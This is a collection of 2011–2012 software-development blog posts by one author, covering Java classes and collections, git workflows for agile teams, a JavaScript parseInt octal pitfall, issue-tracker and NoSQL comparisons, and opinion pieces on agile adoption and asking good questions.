mike.mainguy

The difference between Black Swans, Flying Green Monkeys, and Unicorns

2012-01-24T08:18:00.000-06:00

What is the difference between a Black Swan, a Flying Green Monkey, and a Unicorn?

First off, a Black Swan is an unexpected event that is rationalized to be obvious in retrospect. It's based on theory elaborated in a book by Nassim Nicholas Taleb. The most important distinction that Black Swans have apart from Flying Green Monkeys and Unicorns is that Black Swans actually exist whereas FGMs and Unicorns reasonably cannot.

The term Flying Green Monkeys refer to a pessimists fantasy about a highly improbable event or situation that might happen. Often they are paranoid delusions based on partial or incorrect facts and the actual probability that something may happen. They are related to Black Swans in that they live in the land of chaos and the unexpected (extremestan in Taleb's terms) but they are distinctly different because they are seen as a negative catastrophic event that can be planned for. To use a traditional statistical model, these are things that are soo far out on the end of the bell curve that they are reasonably impossible (like a 50ft tall person... or a "Wizard of Oz" style flying green monkey).

Unicorns, on the other hand, are the optimists fantasy and the flip-side of a Flying Green Monkey. Unicorns are a fabrication based on highly improbable events or situations that have a positive outcome. Good examples of Unicorns are the "inevitable payout" founders see when they begin working on a startup, or the gambler who "knows" he's going to hit it big on the next roll of the dice.

The biggest difference between these three things are in how people react to and perceive them. Black Swans can only be seen in retrospect and are highly sensitive to your point of view and initial conditions. They may SEEM just as impossible as a FGM or a Unicorn from a particular perspective, but to other observers in a different location (in time or space) they seem obvious or even trivial. More importantly, they are never predicted ahead of time. You cannot plan for Black Swans ahead of time, but simply react to them after the fact.

FGMs and Unicorns, on the other hand are people's reactions to chaos and their attempt to craft a belief system that will accommodate the chaotic. Engineers often run around hunting for Flying Green Monkeys to ensure their systems are robust. Serial entrepreneurs are always tracking unicorns and are CERTAIN this new set of tracks must lead to a veritable DEN of them.

To be successful, I think it is prudent to not focus too much attention ahead of time about finding Unicorns and avoiding Flying Green Monkeys, but be able to identify and react to Black Swans and exploit these situations quickly and effectively.

All software is a commodity

2012-01-14T06:45:00.002-06:00

If you have the right people....I was looking at a small company's recent 10-Q filing and was struck that 1/2 of their total assets were in their proprietary software. Struck mostly because I could download 20 different solutions for free (or little charge) from the internet and completely replace all $40 million dollars of that software in a relatively short period of time (with the right people on the team ;).Listen folks, if you allow yourself to think that your craptastic custom software solution is one of your biggest strategic assets, you've been listening to too many salesmen from companies who's whole goal is to lock you into their proprietary platform. When a "Senior Architect" from a company that sells software comes to tell you that your software is a strategic asset, they are trying to sell you something. The software itself is almost without value, it's the process of developing the software and encoding/enforcing business knowledge that provides the value and differentiation.

Java classes, objects, and instances demystified (hopefully)

2011-12-16T07:11:00.000-06:00

A great many people are competent java developers, but have only a vague understanding of the difference between a "public static method", "public method", and the difference between a class and an object. As this was confusing to me at first, I thought I would give a quick overview.

A class defines a template for what data and operations are available when you tell the JVM to create an object.

So, for example:


public class BlogPost {
    public String text = "";
    public static BlogPost latest;
    public static BlogPost create(String input) {
        latest = new BlogPost();
        latest.text = input;
        return latest;
    }
    public int getTextSize() {
       return text.length();
    }
}

When you compile this class, it is creating a file that the java runtime can later use to enable programmers to load an object into memory that has a single attribute called "text" which is a reference to another object with a class of String. Additionally, the class itself has an attribute called latest that is a reference to an object with a class of BlogPost, a method called create that accepts a reference to a string, creates a new Blogpost, stores it to the "latest" class variable, set's the text attribute on the "latest" class variable and subsequently returns the reference to "latest". In addition, there is an instance method called "getTextSize()" that returns the result of the instance method "length" for the "text" instance variable of the object.

So far, if you've done any amount of java programming, this shouldn't be too shocking or eye opening. However, there are some subtle and not-no-subtle nuances that are at play here. First and most commonly confused is that static methods cannot get access to instance variables.

Why?

Let's talk through this.... when java is running, class definitions are broken into two pieces. The data piece and the method piece. The data piece is independent for every new instance, the method piece is identical for every instance created and unique for the particular class. The method you can call on a particular class are unique to the CLASS, not the instance of the class. In addition, static variables on the class are also unique to the CLASS, not the instance. So, for example, the method area for our "BlogPost" has two method references... one for "create" which expects to receive a String reference and will return a BlogPost reference, and one for getTextSize, which expects to receive a reference to a BlogPost instance an will return the integer value of the text field reference stored on the BlogPost reference it received

When we are in the create method, there is no BlogPost instance available to look at... since the "length" method and the "text" instance variable both need a copy of a BlogPost object loaded into memory ... there's no way to access them.

Put another way, When you define an instance method, even though you don't tell the JVM, it automatically knows that it MUST have a reference to it's defining class already loaded into memory (BlogPost) in order to perform it's operations.

This gets to the heart of what I think a lot of people don't get about java (not ALL languages/VMs do it this way, but java DOES). Another way to code the getTextSize() method above would be to do this:


    public static int getTextSize(BlogPost myPost) {
        return myPost.text.length();
    }

Some people would think that this method is more effecient because you don't "waste" memory having all kinds of copies of the function loaded into memory. The fact is, java is not that naive, ALL methods are effectively singletons and there will only ever be one copy of the method implementation in memory. When you call instance methods, you're simply telling java that you want to make sure this method ALWAYS REQUIRES an instance of my class as an implicit parameter. In addition, the language has a nice way of defining this were you don't have to explicitly pass the instance as a parameter. There really is no difference at runtime between the memory consumption of the two implementations.

For a little more discussion, take a look at Stack Overflow . Hopefully this will help clarify things for some folks.

The java collections framework for newbies

2011-12-09T06:26:00.001-06:00

I don't consider myself a java expert by any measure, but there's a disturbing thing I've noticed. There are a LOT of people who claim to be "java developers", but they have zero clue what the "java collections framework" is. This post is designed for folks who keep getting stumped on interview questions or are mystified when someone starts talking about the difference between a Set and a List (for example).
If you google "java collections framework for dummies" you'll find this link which has a more complete, if fairly dense explanation. I'm going to do you one better and give a rule of thumb that you can use without thinking about it.
At it the root of things, a collection is something you can store other things inside. Just like in real life, a collection of marbles is just a "bunch" of marbles. The big difference in the collections framework is that the different implementations have different things they DO with the marbles that you need to understand.
For example, let's consider the ArrayList... everybody and their brother should know this... if not, you are not a java developer, go read a book. Some special things about an array list: It stores the entries in order of when they are added, you can select an element by it's index, it can contain duplicates of the same element. From a performance perspective, it is VERY fast to lookup and add things by index and add things to an ArrayList, on average, it is slow to see if a particular object is present because you must iterate the elements of the list to see if it's there.
Next, let's talk about HashSet... I realize that this might sound vaguely drug related to the uninitiated, but a hashset has some interestingly different characteristics from a list. First off, a HashSet has no concept of order or index, you can add things to it, you can iterate over it, but you cannot look things up by index nor are there any guarantees of what order things will be presented to you when it loop over members. Another interesting characteristic is that it cannot contain duplicates, if you try to add the same object twice, it will NOT fail, it will just return false and you can happily move on.
Last but not least, there is the Hashtable (or his slightly more dangerous cousin, the HashMap). This is used to store key/value pairs. Instead of keying things by an index (like an arraylist), you can key them by just about anything you want. You can do things like myMap.put("foo","bar") and then myMap.get("foo") will return bar...
There is a LOT more to this, but with this quick reference you can at least begin to do useful things in java.
Examples of using a List

ArrayList myList = new ArrayList();
myList.add("Second Thing");
myList.add("Second Thing");
myList.add("First Thing");

System.out.println(myList.get(0));

will output

Second Thing

An interesting thing to note is that the size of this is 3

System.out.println(myList.size());

will output

The following:

for (String thing: myList) {
  System.out.println(thing);
}

will always output:

Second Thing
Second Thing
First Thing

Next lets look at a set:

HashSet mySet = new HashSet();
mySet.add("Second Thing");
mySet.add("Second Thing");
mySet.add("First Thing");

The first difference we can see is that

System.out.println(mySet.size());

returns

Which makes complete sense if you understand that sets cannot contain duplicates (and you understand how the equals method of String works...;)Another interesting thing is that:The following:

for (String thing: myList) {
  System.out.println(thing);
}

might output:

Second Thing
First Thing

or it might output:

First Thing
Second Thing

It so happens that it returns the second version on my machine but it's really JVM/runtime specific (it depends on how the HashSet is implemented and how hashcode is implemented and a bunch of other variables I don't even fully understand).
More importantly, the following will be likely be much faster for LARGE collections:

System.out.println(mySet.contains("Third Thing"));

Finally, the grandDaddy of all the entire framework, hashtable.

 Hashtable myMap = new Hashtable();
 myMap.put("a", "Second Thing");
 myMap.put("b", "Second Thing");
 myMap.put("c", "First Thing");

 System.out.println(myMap.get("a"));

Will output

Second Thing

and the following:

for (Map.Entry entry: myMap.entrySet()) {
    System.out.println(entry.getKey() + "=" + entry.getValue());
}

will output

b=Second Thing
a=Second Thing
c=First Thing

Hopefully with these examples, you can get an idea of the capabilities of the collections framework. There is much much more to it and I encourage ANYONE doing java development to spend time playing around and learning the different characteristics of the various components as I've only lightly skimmed the surface.

Is your team a cross country team or a soccer team?

2011-12-06T17:38:00.001-06:00

While touring a college campus with my daughter, one of her prospective cross country team matessaid something that gave me pause. In effect, her statement was that she really liked cross countrybecause everybody on the team was always pushing for you to do your best. Also, she continued, it'snice to know that you either succeeded or failed because of your own effort and training,not because of anyone else. I've thought about this for quite some time and I realize there is a VERY big distinction between "individual" sports like wrestling, swimming, or cross country... and "team" sports like soccer, football, or basketball. These differences are important not juston the playing field, but in any situation that requires teamwork.

On "team" sports, you very often will have competition within the team that actually works against the team's objective. Additionally, individual team members may have to forgo performing at the best of their ability because of a particular game situation. For example, there are many good reasons for a soccer player to NOT dribble the ball when they have possession: They could be covered by a good defender, they might not actually be a very good dribbler, or they might have a teammate in a much better position to do something productive. This means at any given moment, they need to not only take into account their own situation, but the situation of 21 other people plus a ball and a referee or three.

With an individual sport, it is the performance of an individual that is paramount. In cross country, I supposed there are situations where it might be good to lose a few places individually in order to help pace a teammate, but there is not really as complex an interaction with the other players on the field. Put another way, the SPORT of cross country doesn't require as much social intelligence as something like soccer... it is much more purely sport for sport's sake and a measure of an individual's ability to perform.

At the end if the day, both styles of team are important and beneficial, but from my observation, there are some interesting implications. First, on a "team" sport, there are often social conflicts due to the complex interplay of individuals and game situations. On an "individual" sport, I think these conflicts are less common (or severe). It seems like this is because even if two cross country teammates are in fierce competition with each other... they're only helping the team and each other out and making both stronger. In contrast, if two soccer teammates are in fierce competition with each other, nothing good will happen and it will likely destroy the team.

When working with teams in general, it's important to understand if the situation is a "individual" situation, or if it is a "team" situation. If you're trying to motivate a team and it's more important that each individual do their best and the individual's contribution ONLY has positive effects, foster and reward the individual regardless of the performance of everyone else. If, on the other hand, your team has more complex interactions, it becomes more important to be sure to let players know when they might need to behave in a more altruistic manner for the good of the team.

How to ask intelligent questions

2011-11-30T17:18:00.001-06:00

Smart technical people (aka Hackers) have likely dedicated thousands, tens of thousands, or hundreds of thousands of hours of their lives learning, understanding, and generally figuring out how things work. If you find yourself asking for help, I'd suggest approaching it like you would approach asking advice from someone like Tony Hawk on how to do a kick-flip (I apologize for folks who don't know who Tony Hawk or Ryan Scheckler are and further apologize if you don't know what a kick-flip is... you really should get out more. I further apologize for suggesting that programming a computer is in any way as difficult as performing a kick-flip, I've skateboarded since I was...like 13 and still cannot pull one off without doing a no-comply, it's just a useful metaphor that non-technical folks might be able to understand.

To illustrate some approaches:

BAD "Tony, I've never even stood on a skateboard before, but I REALLY want to learn. I've got a spare 5 minutes, could you teach me how to do a kick-flip? oh and could you give me a free skateboard? I don't have one yet and you get them for free so I figure you wouldn't mind giving one to me. By the way, I wouldn't bother you, but Ryan Scheckler seems too busy to help me."

BETTER "Tony, I never land my kick-flips, the board seems to land on it's side, any tips?"

MORE BETTER "Tony, I've been skating for 5 years and for some reason I land my kick-flips on the side of the board. I looked up some tips online and saw your video on youtube, and I think the problem is I'm not flicking my foot hard enough. I've considered getting a different pair of shoes... I brought my board with me, if I showed you could you give me some advice?"

OK, hopefully everybody understand the problems with approach #1. You're asking a professional to teach you something that has taken him decades to learn and perfect and dilute it into a 5 minute lesson (for free). You're unprepared and unequipped to even begin to solve the problem... this is like people who want hackers to troubleshoot their "broken computer" while sitting at the bar after work (while the computer is at home). You haven't even TRIED to solve the problem yourself... this means (to many) you don't even possess the dedication or resolve to even TRY. This is kinda like when someone has a problem and local hacker tries to help and the person requesting assistance decides to go out for coffee. Approach #1 in the hacker community will either: Not get any reponse, or get the equivalent of "FSCK OFF!".

Approach number two is better because it shows dedication, preparation, and makes no assumptions about how much time/effort could or should be put into it. An appropriate response to #2 would be "Practice Harder". Approach #2 is likely to get terse responses, but you won't likely hear any expletives.

Approach number three is most likely to elicit the best response. You've done your homework, you're dedicated, you're prepared, you've got a solution you aren't sure of... rock on! If a hacker doesn't give helpful advice in #3 remember: You're still asking for free advice...I'd personally expect to PAY for personal skateboarding training from a professional skateboarder -- get it, PROFESSIONAL, like, that's how they put food on the table. Free advice from a professional is known as "a favor" and should be treated as such...

For folks who have been in the open source community for a length of time, there is an old article explaining how to ask questions the smart way. While I think that writeup is spot on, I think it's a bit inaccessible. Listen, getting computers to do what you want is very difficult work and VERY challenging (if it wasn't, the job wouldn't pay so well and hackers wouldn't be in such high demand). Yes, I realize it isn't as rare as skateboarding talent, but hopefully the metaphor helps explain why many hackers seem to NOT be helpful... it's not THEM, it's YOU!

I apologize in advance for anyone who is easily offended.

Honestly I don't care if you're offended, but I figure I'd put a token apology in because people who are easily offended are often shallow enough to be placated by a token apology.

stop branching! agile is soccer, not american football

2011-11-03T07:12:00.000-05:00

One trend I've noticed with git users is a habit to create a lot of branch and merge activity. The oft-repeated mantra is "branching is (easy/cheap/safe) in git so I do it a lot". When working on an agile project though, this behavior can cause serious problems. To illustrate the point, compare american football to soccer: American football has highly specialized players and positions as well as a variety of tightly choreographed set pieces. In contrast, soccer has a much lesser degree of specialization, and while there are some set pieces that are choreographed, the majority of the game is spent reacting to the situation as it evolves. Traditional development methodologies are like american football: They divide the work up among highly specialized players and then try to replay an intricate set of movements to make the play "work". Agile methodologies are more like soccer (or to a lesser degree rugby) in that the advantage doesn't come from following the choreography (or even rehearsing it), but from reacting to the current situation on the field and having visibility and vision as to the current state of the field.When teams start creating a lot of branches and working in isolation for large periods of time (relative to release frequency), that means they are often making assumptions about how the plan is supposed to work. Unless this has been worked out well in advance, it often leads to a "massive catastrophic merge" when everybody tries to come back together. To maintain an agile development process, it's important to react to interdependent changes as early as possible and reenforce the notion of a team of generalists who must react and move based on the current situation, NOT by following a plan that was written months before.So, if you're on an agile team of 5 and each of you are working on multiple independent branches and not sharing them on a daily basis, you're probably trying to play american football. Instead of developing vision and dealing with the ebb and flow of the game as it unfolds, you're trying to rehearse what you think your role in the project is supposed to be so that you can execute your portion perfectly at the appropriate time.

I beat ruby on rails by 6 months

2011-11-02T17:56:00.003-05:00

Waay back in 2003, I got tired of writing the same boilerplate crud apps and longed for a "better way to do things" so I wrote a rapid development framework called thrust. It used turbine, velocity, and torque to build an entire web application scaffold from an xml database schema definition. I look at the code now and kinda chuckle and shake my head, but something I realized is that it predates the public release of ruby on rails by a good six months. Moreover it predates the closest allegory I can find in the java space (Spring Roo) by a good 6-7 years! I'm not just tooting my own horn, because I remember talking to other people who all said things like "we should just use conventions" and "this stuff is just boilerplate, why don't we generate/template it?", but it seems like most folks just built internal-only proprietary solutions.Couple of lessons/observations:#1 promotion is everything... rails languished in relative obscurity until some folks started evangalizing it. My solution died on the vine as I moved on to bigger and better things.#2 Timing is important, but not MOST important. Being first can be an advantage or a liablilty. Grails got to learn from rails and avoid some of the wonkiness (for example).#3 Some times it's good to go back and look at what you've done for inspiration. I had forgotten about velocity templates...which are pretty useful. I also didn't realize that Maven (arrgh) originated form the Turbine project (which is what my framework was built upon).#4 Great ideas seem to burst on the market in a short period of time and one or two solutions seem to end up dominating. It seems that tech trends infect large numbers of developers simultaneously and then go away.

Gorillarinas, Putting the agile skirt on a waterfall Gorilla

2011-10-24T06:19:00.000-05:00

Fact: putting a skirt on a Gorilla doesn't make it any more graceful

Are your agile initiatives Gorillarinas?

If you're working in a large organization and trying to "be agile", it often turns into a strange situation where only a superficial set of changes are made, but folks wonder why their initiative isn't able to deliver the expected benefits. This is remarkably similar to putting a skirt on a Gorilla and then wondering why it isn't suddenly graceful.

I'm not saying you cannot train a Gorilla to dance ballet, I'm an optimist at heart and believe anything is possible. But don't make the mistake of thinking that the effort of taking an IT organization that has built up the overhead gunk and crud of a huge process and turning into a highly responsive and lean software delivery organization is anything less difficult than turning a Gorilla into a ballerina. This effort will be large, there will be casualties, and you will likely need expert help (or therapy).

As a member consulting organization, I get the benefit of meeting up with my compatriots at Redpoint to discuss the challenges, successes, and failures when working within transform hulking and clumsy organizations into something leaner, meaner, and more agile. One theme that recurs in these discussions is that many traditional processes are deliberately dehumanizing. They view people as interchangeable components that can be replaced at a moments notice and have no impact to the overall project. After all, if you've run out of ballerina's, you can surely substitute anybody (or anything) in a tutu to do the dance, right? This is a key failing and just plain wrong, and even in organizations that throw around slogans and mission statements proclaiming how important everyone's individual contribution is, all traditional processes turn developers, QA analysts, and even Bob the dinosaur into "Resources".

Some ways to know if you've got a Gorillarina:

Daily ~~standups~~ status report meetings that ALWAY last 1 hour (or longer)
A variety of ~~torture devices~~task/bug tracking tools... one for the "official" stuff and one for the "agile" stuff...
ScrumMaster who's responsible for the work and assigns tasks to team members!
Team members who sit around and wait for someone to tell them what to do
Time-boxes that are well intended, but just never seem to work
Planning starts with announcing a release date, then estimating the effort involved
Retrospectives are about collecting lessons learned for our PMO to track!
We do Pair Programming (a senior guy reviews all commits), Test-Driven Development (20 page formal test plans review d by QA AND the analyst team, and use Continuous Integration (we do a massive build the week before a release)
User stories, requirements stories, development stories, test stories, and all sorts of other “types of stories” allow us to track the work!
Our impediments list helps track why we miss our commitments!

Some things you can do to pave the way toward having a more graceful Gorillarina:

Recognize that you are not going to instantly get results by doing standups or using notecards or renaming your project manager the "Scrummaster"
I know it's been said 1000x, but empower your team(s) to solve problems, if your process is getting in the way, ditch it... or fix it...
Recognize that "agile" is not a technology thing, it's a business thing... everybody needs to have skin in the game.
Agility is about values reified as techniques and practices, not merely practices!
If you're in the Chicago area, drop us a line at agile@redpointtech.com
Find another organization that has a track record or producing results and let them help you (although our sales department would really like you to use the link above ;) )

One last note and something that was brought up while editing. Agile is not JUST the practices (jeez, there we go again...) it is as much about building shared values and attitudes about what the team is doing. Many organizations think they can send a couple of guys to "scrumaster training" and they'll come back and infect the entire organization. Helping transform teams and entire organizations from one mindset to another is a job that requires practice, experience, and skills that are not acquired in a one (or two) week class. It takes a certain type of person to fulfill this mission and if your goal is REAL transformation, it is in your best interest to seek out folks who have a proven track record. It can be a daunting task for someone who is inexperienced in the field, and if you think you can send a Business Analyst to a training course and then have them run around your organization waving the magic "agile" wand at projects, you'll most often end up with a bunch of "agile best practices" but no real transformation.

Special thanks to Si Alhir and Steve Fastabend for feedback and editorial assistance....

Promiscuous programming

2011-10-19T08:08:00.001-05:00

How many folks out there are promiscuous programmers? You know who you are, every project you work on, you meet a new technology or language and feel compelled to "try it out"... without giving the right amount of consideration to the language that is currently being used. Worse yet, you seem compelled to badmouth a language that has been really good to you ( I love you java;) ) and always compare the imperfections of your programming wife ( java, you're syntax is really bloated) to the sexy cool stuff from one of your programming girlfriends (ruby, I love your monkey patch).

I'm not saying that this is necessarily a bad thing, I think it is very important to have breadth in technology and learning new programming languages is a way to become a better programmer. It's more important though, to have an objective perspective about the REAL comparison and not just get infatuated with every new thing that wanders by because you think (or worse yet someone else thinks) it's better. Listen to me folks, the grass is rarely greener on the other side of the fence... It's different, and frankly it MIGHT be greener... but even if it IS greener, that doesn't necessarily make it better.

So where am I going with this? Am I suggesting that being a promiscuous programmer is a bad thing? Not really... and in that respect perhaps the metaphor is a bit bad. But, you have to suspect advice about women from a guy who's only ever been with one woman about women because ... he has a noted lack of experience. What I'm saying is when you're starting out, playing the field and figuring out what you like is important, but it's also important to commit to something and really "know" it. Make sure that changing languages is a conscious decision and you weight the benefits and drawbacks of such a switch lest you spend your entire career as a programming slut flitting between one fancy new thing and another.

Two factor developer personality type scoring

2011-10-13T19:42:00.001-05:00

I was recently sitting through a technical discussion and was thinking about how different people were reacting to the information in the presentation. From this I started to think about how a two pairs of related factors seem to influence how people react to new technology. Here's a quick chart showing them as well as examples of prototypical statements a person at each extremes in each quadrant might speak about Source Code Control:

For a bit of definition:

The Conservative - Liberal continuum is a measure how inclined you are to try new technologies. An extreme conservative feels no need to use anything new and will never use anything new unless the old thing completely fails to work any more. An extreme liberal would be compelled to change technological approaches before even finishing a prototype because a new shine technology showed up on their radar.
The Skeptic - Believer continuum is a measure of how much critical thinking you put into a new technologies capabilities. An extreme skeptic would tend to disregard pundits and anecdotal evidence and require solid proof. An extreme believer will have a religious-like believe in a technology that has no basis in fact.

The reason I put this chart together is to help understand that these things are not binary switches. In addition, some traits are orthogonal (Skeptic and Conservative), but some are in opposition (Skeptic Believer). Moreover, different techniques are necessary to understand how to interact with folks depending on where they fall in both continuums.

Conservatives will generally require a lot of selling or you will need to burn the bridge behind them or they will continue falling back into the "good ol way of doing it". Conservative Believers will be the hardest lot to convince because the sheer amount of time they've been doing something (no matter how stupid it might be) will actually be a reenforcing factor and no amount of factual evidence to the contrary will sway them. On the other hand, a conservative sceptic can often be swayed with evidence and a good business case for doing things "the new way".

Liberals will generally require more oversight as they will tend to embrace and proliferate new technologies. Liberal believers are the most difficult because they will do it just because they read about it on hacker news and it sounded cool. These guys often need to be brought back down to earth lest your systems be riddled with one-off science experiments. Liberal skeptics (I'd put myself largely in this camp) are easiest for me personally to deal with, but I think that's because I'm one of them. For the most part, the closer to each other on the quadrants your team is, the more likely you are to get consensus on what to do (or NOT for some groups.

My javascript parseInt("08") surprise!

2011-10-12T18:02:00.000-05:00

I recently had to debug a problem that was causing a javascript function to return the incorrect value. The code in question was right padding numbers less than 10 with a 0: so 1 became "01", 2 becomes "02" and 10 should be "10".

Number.prototype.to_s = function() {
    if (this < 10) {
        return '0' + this.toString();
    } else {
        return this.toString();
    }
}

This works fine... in one direction.
I kept running into a problem when I tried to parse this back into an integer.
So I'd do something like

parseInt(8.to_s())

and the result would be 0. What I didn't realize is that the "0" prefix when parsing an string indicates the number is base-8 (octal) and therefore "08" isn't a valid number. I would have, however expected some sort of error message or NaN instead of 0. The problem is that javascript will only return NaN if the first character in the string is not a number... so It happily saw that '0' was a number, but '8' was not (in base 8) so it returned 0.
Aside: I see that this method of specifying base-8 is ~~not~~ supposed to be deprecated

JIRA, Pivotal Tracker, and Playnice.ly for issue tracking

2011-10-11T07:14:00.000-05:00

I've used each of these tools on at least one project now (JIRA for quite a few) and thought I would share my observations about when each one would be most appropriate.

Pivotal Tracker

Pivotal Tracker is only offered as a cloud based or hosted solution, but has a pretty impressive list of customers. On the upside, they've fully embraced the cloud concept and offer a well documented set of RESTful APIs to integrate with third party systems. You can connect issues to SCM commits using post commit hooks from svn or git (or anything with a little effort)

I find the pivotal tracker User Interface be a bit confusing, but pretty useable out of the box and geared toward agile methods. Another big plus is that they can auto-estimate your actual velocity and burndown which helps you get your arms around your real velocity. In addition, they have some out of the box reporting.

playnice.ly

playnice.ly is also a hosted solution, but of the three has taken an more interesting approach to bug tracking. They've jumped on the gamification bandwagon and have tried to craft an experience that is actually enjoyable instead your typical cold-war soviet style user interaction that most bug/issue tracking systems seem to espouse. While innovative, they are missing some features and are decidedly still in the Minimun Viable Product stage.

You can integrate with git via post-commit hooks, but third party integration ~~doesn't exist~~ is still in beta and frankly the documentation was somewhat difficult to find (hint -- the link is in the footer). I can appreciate the idea of keeping things simple and this product will certainly work well for a small agile team or an independent who's just keeping track of things for himself. It's hard to say how this would scale to a larger team or very complex project as it is deliberately bare bones and I suspect this could work against you on a largish project or team.

JIRA

Last, but certainly not least, is Jira from Atlassian. I'd consider this the 800lb gorilla of bug/issue tracking and I've used it for years on multiple projects in a variety of teams and workflows. Frankly, you can do anything you want with this product... They can host it, or you can run it internally with a slew of different databases. It integrates with just about everything, and it has a plugin system that folks have used to build a vast array of plugins to help do just about anything you want.

The default user experience seems is horrendous and to match the impedence between what an agile/small team might need and the default JIRA config you're going to waste a lot of time either fetching plugins or configuring things to work how you want. JIRA's biggest strength is also it's biggest weakness and it would be difficult for me to recommend JIRA for smaller teams or startups as it's enormity imposes to some serious overhead --- either you eat the time trying to figure out the default UI or you eat the overhead of configuring it to be less complicated...

Here are the users I think would be a good fit for the tools:

A small team who just doesn't want to lose track of bugs or tasks, and has an interest in keeping an informal and deliberately fun culture - playnice.ly
A similarly small team, but one that finds a need for stronger organization and reporting options and/or if you think the idea of bug tracking being fun is somehow off putting - pivotal tracker
A large team or large organization who has thousands or hundreds of thousands of issues to track and will end up with a full time person or more to help manage track them. Additionally, if you need to host in-house, JIRA is the way to go

Should I use mongodb, couchdb, or redis?

2011-10-06T07:51:00.001-05:00

In the current nosql fervor, there is an important distinction that seems to get missed repeatedly. There are two (OK three) really important factors that these tools use to distinguish themselves and many people completely miss the point.

The first factor is durability -- does the data actually get saved to a disk somewhere and, if so, how often and how much might I lose if something "goes wrong"? Redis and mongodb users might be somewhat surprised to learn that, by default, they can lose your data should the process crash or shut down. While you can configure them to work around this issue, you're going to slow things down substantially doing so and therefore lose the big advantage they've been designed to provide. In short, redis is a great alternative to something like memcached, but is not really an alternative to something like couchdb.

Which brings me to the second factor, which is searchability (I couldn't think of a better term) -- Key-value stores are typically not designed to be easy to search, but to be able to fetch values by a particular key really quickly. Document stores are designed to enable more dynamic searching, often at the expense of some other attribute like speed, memory, or disk space.

Lastly, there's speed -- couchdb can be fast, but it's not really going to compare at real-time updates to mongo or redis. If real-time is your most important factor, couch is probably not your best solution (actually it certainly isn't your best solution).

So in the crop of current contenders (in no particular order) I'll give you my winners in certain use cases:

A fast disposable cache based on discrete keys: Redis... it's fast, it's widely known, it's easy to set up and use and more flexible than memcached (although memcached is also a good choice).
A durable and searchable document store that slowly accumulates more data and needs some concept of versioning (maybe like wikipedia or a blog engine): Couchdb
A quasi-durable searchable document store with quickly changing values (like a real-time status reporting application... maybe facebook or twitter: Mongodb

As for the other 9,999 choices that currently exist, I'd say don't dig around too much or agonize over your choice unless there is a specific and very important problem your application needs to solve that is difficult or complicated with these solutions. Should you get into that situation (like maybe needing to find directions like google maps) then you'll need to expand your horizons and look into other solutions. My recommendation is to start with one of these three and only go to a different solution when necessary. You could six months researching all of the possibilities and at the end have nothing but outdated research. Pick something and run with it, only then will you understand the problem and be able to make a better/more informed decision for your scenario.

More importantly, you'll probably notice that for many real-world solution, it might make sense to use all three of these (or more). I think part of what causes problems in "fair" comparisons of technology is that folks think they can pick the "single best solution for all problems" and that's just not a realistic perspective.

Amazon silk using webkit and SPDY

2011-09-28T14:42:00.006-05:00

After reading the recent blog post by Amazon about their "cloud enabled" browser called silk, I went into a minor panic. I couldn't find any immediate information about the rendering engine or any technical details about what they actually doing. After some digging I uncovered some job postings that seem to confirm they are using webkit for their rendering and are leveraging SPDYon the network protocol layer.

This is great news for developers as webkit is already well established and most of us won't be immediately impacted by SPDY (well actually, your ajax experience might be impacted, but that's another topic entirely). All told this isn't as big a technological change at the front end and is more of a story about amazon trying to use their infrastructure to make the mobile browsing experience better. Frankly, this is a scaled up and modernized version of what blackberry did years ago (are they still doing that?).

NOTE to Silk team -- please implement an HTML5 native datetime picker on your device that doesn't suck so everyone else will follow. This is a sore point for the mobile webkit experience right now and recurring problem that gets solved in a variety of "not so good" ways.

Using git in an agile environment

2011-09-23T09:21:00.001-05:00

Git and most of the workflows I've seen on the internet are not designed (or well thought through) for most agile development. By agile development I mean a small (1-10) team of professional developers all working together in short cycles (1-3 weeks) delivering functional software.

Why is git not designed for agile? Because git, or more importantly, the workflows most readily apparent on the internet all focus on the idea of isolating changes or playing around with branches instead of getting stuff done. This is great if you have a benevolent master who's sole job is to integrate disparate changes into a common code base (you know, someone like Linux Torvalds), but awful if you have a team of 10 people hacking away on a common codebase. Aside from some very epic fails in the cvs and svn designs, git by itself doesn't really help in this situation. I'd dare to say that git actually gets in the way 3x more than it helps.

To make matters worse, if you peruse the internet, you'll find a plugin called gitflow that ~~can~~will really make things bad. It adds yet another layer of indirection and overhead that is totally unnecessary on a small team of professional developers working together in short cycles to deliver functional software (you'll notice that I've said the same thing again here). Gitflow is great if you have lots of time to merge and integrate and otherwise play around with your tools, but not so great if you're on a small team of professional developers trying to work together in short cycles to deliver functional software... because it's just overhead.

I think I've made my first point about the type of team and type of goals that the normal usage of git will cause problems with. If you're not in that group and/or you like playing around with git, and/or you like sitting down at night with a copy of "pro git" and spending hours analyzing gitk diagrams... read the rest of this posting with caution because it's probably inflammatory and wrong in your world view.

First off... If you're working together writing a rails/struts/springmvc application, there are common files that everyone is going to be editing. That's just the way it works, if you try to architect your solution by carving your application up into 10 pieces and give a piece to every developer, you're probably making a very big mistake. The fact is, a version control tool is about SHARING CODE and software development teams are supposed to WORK TOGETHER, not in isolation. Please repeat that sentence until you git it (hahah, I crack me up sometimes)...

Anyway, for MANY projects, especially small agile projects... branching should be a bad thing. Every branch incurs the overhead of both keeping it up to date, but also resolving conflicts as well as reintegrating (and testing) changes. These costs are n^n as the team gets larger (actually, it might be n^n-1, maybe a math guy could help me out here?) and your objective should be to minimize them because they don't add value.

The simplest way to minimize these costs? Have everyone integrate with a central repository (like github) and resolve incoming conflicts/test their code before pushing back to central. If you follow that workflow, you're essentially using the central svn/cvs style coding on top of a decentralized tool, and there's NOTHING wrong with that.

So, how do you do it? First, if you're using github, DON'T FORK, clone the repo to your local machine. Once you've done that, follow this workflow (more detail can be found here):

write software and test it
git commit -a -m 'My work here is done'
git pull --rebase
test and/or resolve conflicts
git push origin
repeat

That's it... don't let the DVCS gods make you feel ashamed, just do it and all will be well. There are certainly a few wrinkles that might happen in this workflow... notably, if #1 while you're fixing your rebase, someone else does a push, or #2 someone doesn't use rebase and is creating branches and merge commits.

#1 is easily fixable by perusing the interweb
#2 is a bit more tricky, but also fixable by perusing the interweb

In short, don't create branches on top of branches and screw around merging all over the place, rebase is your friend, use him wisely and all will be well. Another note I will add is-- NEVER do a "git push -f" (force push) in this mode. You will screw with everybody on the team's head and they will likely need to start drinking early in the morning to figure out what is going on.

cross platform mobile development with phongap, rhomobile, and titanium

2011-09-21T07:25:00.001-05:00

I've been working on a cross platform mobile application for keeping track of how much time I spend doing things. Basically a consultants helper to make sure I'm spending appropriate amounts of time doing the things that move me forward and keep me aware of how much time I'm spending doing things that aren't going in the right direction.
